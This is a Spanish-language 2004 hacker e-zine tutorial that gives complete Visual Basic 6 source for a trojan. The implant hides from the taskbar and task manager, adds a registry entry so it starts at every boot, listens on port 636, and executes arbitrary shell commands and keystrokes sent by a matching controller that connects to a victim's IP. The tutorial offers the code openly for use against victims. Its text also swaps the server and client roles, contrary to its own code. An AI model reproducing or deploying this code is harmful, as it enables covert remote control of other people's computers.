Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 02 014
(C) MITOSIS #2 E-Zine/GEDZAC 2004
Tema : Programacion de Troyanos
Autor : Nemlim
Válido para : Visual Basic 6
Introducción:
¯¯¯¯¯¯¯¯¯¯¯¯¯
En este pequeño tutorial aprenderás a construir troyanos en Visual Basic 6.
Necesitas tener conocimientos básicos de Visual y de las funciones del
control Winsock. Antes que todo voy a dar info teórica de lo que es un
troyano, por si las moscas:
Un troyano (caballo de troya) es una herramienta de administración remota.
Permite hacer uso de las funciones del sistema en donde se ejecute de forma
remota. Consta de dos programas: El "SERVIDOR" (es el que ejecutaremos no-
sotros,con el cual administraremos el sistema de la victima) y el "CLIENTE"
(es el que se ejecutará en la Pc de la víctima). Para comunicar a estos dos
programas, se deben abrir puertos iguales entre ellos, normalmente este
puerto pasa los 500, para asegurarse de que ningún otro programa o troyano
use ese puerto y por lo tanto, que no lo cierre. El lenguaje (protocolo)
que usarán estos dos programas será perzonalizado, pues lo crearemos noso-
tros mismos. Una de las cosas que no debes olvidar es que debemos especifi-
car en [nuestro] servidor, la IP del usuario infectado.
Lo que haremos es abrir un puerto en la Pc infectada, y esperar una cone-
xión (¿de quien? de nosotros :). Nosostros enviaremos comandos al servidor,
y el servidor los interpretará y ejecutará la acción correspondiente al co-
mando enviado. Expliqué cada línea de código, asi que no hay excusa...
Bueno basta de charla, y comencemos con lo práctico:
Servidor:
¯¯¯¯¯¯¯¯¯
Es el programa que se ejecuta en "background", esperando instrucciones.
Agrega en el proyecto el control "Microsoft Winsock Control 6.0" y insérta-
lo en el formulario. Copia el siguiente código en un formulario:
'<!--Inicio del codigo del Fomulario1--!>
'Declaraciones API
Private Declare Function mciSendString Lib "winmm.dll" Alias _
"mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Private Declare Function GetCurrentProcessId Lib "Kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "Kernel32" (ByVal _
dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1
'Por si no lo sabes, este evento se produce cuando se carga el formulario
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False 'Ocultar en la barra de tareas.
Me.Visible = False 'Hace invisible el Formulario
Dim H As Long, Ruta As String
Dim Reg As Object 'Declaramos la variable Reg como un objeto
'registramos nuestro servicio y nos escondemos de ctrl+alt+supr:
H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE)
Set Reg = CreateObject("wscript.shell") 'Creamos un objeto, para modi-
'ficar el registro
Ruta = "HKLM\software\microsoft\windows\currentversion\runservices\"
'Nos ingresamos en el registro para ejecutarnos cada vez que reinicien:
Reg.RegWrite Ruta & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Winsock1.localport = "636" 'establecemos el puerto del troyano
Winsock1.Listen 'Nos ponemos a escuchar, a la espera de una conexión
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Si el winsock está abierto lo cerramos.
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Aceptamos la conexión
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
'Si ocurre un error, cerramos y volvemos a escuchar.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
'Si se cierra la conexión, volvemos a escuchar.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next 'Si ocurre un error que lea la siguiente línea
Dim data1 As String 'Declaramos la variable que recibirá los datos
Winsock1.GetData data1 'Tomamos los datos que nos envían
DoEvents 'Le devolvemos el "control" a Windows
Select Case Mid(data1, 1, 10)'Nos fijámos que acción nos están mandando
Case "#EJECUTAR#"
'Ejecuta el comando que se envíe
Shell Mid(data1, 10, Len(data1) - 1), Right(data1, 1)
Case "#SENDKEYS#"
SendKeys Mid(data1, 10, Len(data1)) 'Envía las teclas al teclado
Case "##OPENCD##"
'Habre la lectora de CDs
mciSendString "set Cdaudio door open", returnstring, 127, 0
Case "#CLOSECD##"
'Cierra la lectora de CDs
mciSendString "set Cdaudio door closed", returnstring, 127, 0
End Select
End Sub
'<!--Fin del codigo del Fomulario1--!>
Cliente:
¯¯¯¯¯¯¯¯
Necesitarás varios controles, entre ellos el winsock, obvio. Nótese que los
comandos que enviaremos (#EJECUTAR#, #SENDKEYS#,##OPENCD##,#CLOSECD##, etc)
tienen 10 letras. Esto hace mucho más fácil la escritura del código.
En este ejemplo necesitarás: 5 botones, tres cajas de texto, un timer con
un intervalo de 1000, y el control winsock. Arréglalo para que te quede
como en la FIG1, y luego cambia los nombres de los botones y demás cosas
como en la FIG2. (No soy dibujante de Ascii Art, ni mucho menos, asi que no
se quejen)
FIG1:
.-----------------------------------------------------------------.
| Form1 _ X |
|-----------------------------------------------------------------|
| ___________________ .---------------. <Timer1> |
| Label1 |Text1 | | Command1 | <Winsock1> |
| |___________________| '---------------' |
| |
| __Frame1_____________________________________________________ |
| |.----------------. .----------------. ___________________ | |
| || Command2 | | Command4 | |Text2 || |
| |'----------------' '----------------' |___________________|| |
| |.----------------. .----------------. ___________________ | |
| || Command3 | | Command4 | |Text3 || |
| |'----------------' '----------------' |___________________|| |
| |_____________________________________________________________| |
'-----------------------------------------------------------------'
FIG2:
.-----------------------------------------------------------------.
| Troyanos en Visual Basic, By Nemlim _ X |
|-----------------------------------------------------------------|
| ___________________ +---------------+ <Timer1> |
| IP Number|255.255.255.255 | | Conectar | <Winsock1> |
| |___________________| +---------------+ |
| |
| __Acciones___________________________________________________ |
| |.----------------. .----------------. ___________________ | |
| || Abrir CD | | Send Keys | |GeDzAc HaS YoU || |
| |'----------------' '----------------' |___________________|| |
| |.----------------. .----------------. ___________________ | |
| || Cerrar CD | | Ejecutar | |C:\autoexec.bat || |
| |'----------------' '----------------' |___________________|| |
| |_____________________________________________________________| |
'-----------------------------------------------------------------'
'<!--Inicio del codigo del Fomulario1--!>
'------------------------------------Fom1----------------------------------
Dim Conectado As Boolean
Private Sub Form_Load()
Timer1.Interval = 1000
End Sub
Private Sub Command1_Click()
If Text1.Text <> "" Then 'Nos fijamos que el campo text1 no este vacío
Winsock1.Connect Text1.Text, 636 'Conectamos el winsock según el IP
End If
End Sub
Private Sub Command2_Click()
If Conectado = True Then Winsock1.SendData "##OPENCD##"
End Sub
Private Sub Command3_Click()
If Conectado = True Then Winsock1.SendData "#CLOSECD##"
End Sub
Private Sub Command4_Click()
If Conectado = True Then Winsock1.SendData "#SENDKEYS#" & Text2.Text
End Sub
Private Sub Command5_Click()
Dim a As Variant
If Conectado = True Then
a = InputBox("Ingrese número de parámetro:" & vbCrLf & "vbHide=0" + _
vbCrLf & "vbNormalFocus=1" & vbCrLf & "vbMinimizedFocus=2" & vbCrLf + _
"vbMaximizedFocus=3" & vbCrLf & "vbNormalNoFocus=4" & vbCrLf + _
"vbMinimizedNoFocus=6") 'Pedimos ingresar el parámetro de ejecución
'Comprobamos que lo que ingresamos sean números
If InStr(1, a, "1234567890") <> 0 And Len(a) = 1 Then
'Si es así se envían los datos
Winsock1.SendData "#EJECUTAR#" & Text3.Text & a
End If
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock1.Close 'Cerramos el winsock
End Sub
Private Sub Timer1_Timer()
'Si el winsock está conectado, cambiamos la variable a true
If Winsock1.State <> sckConnected Then
Conectado = False
Else
Conectado = True
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Conectado = True
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As _
String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As _
String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'En caso de error cerramos la conexión
Winsock1.Close
End Sub
'<!--Fin del codigo del Fomulario1--!>
Esto es todo. Recuerden que este pequeño tutorial es muy sencillo y básico.
Cualquier duda, sugerencia, crítica, (menos insinuaciones sexuales), mandar
mail a nemlim@gedzac.zzn.com
(C) MITOSIS #2 E-Zine/GEDZAC 2004
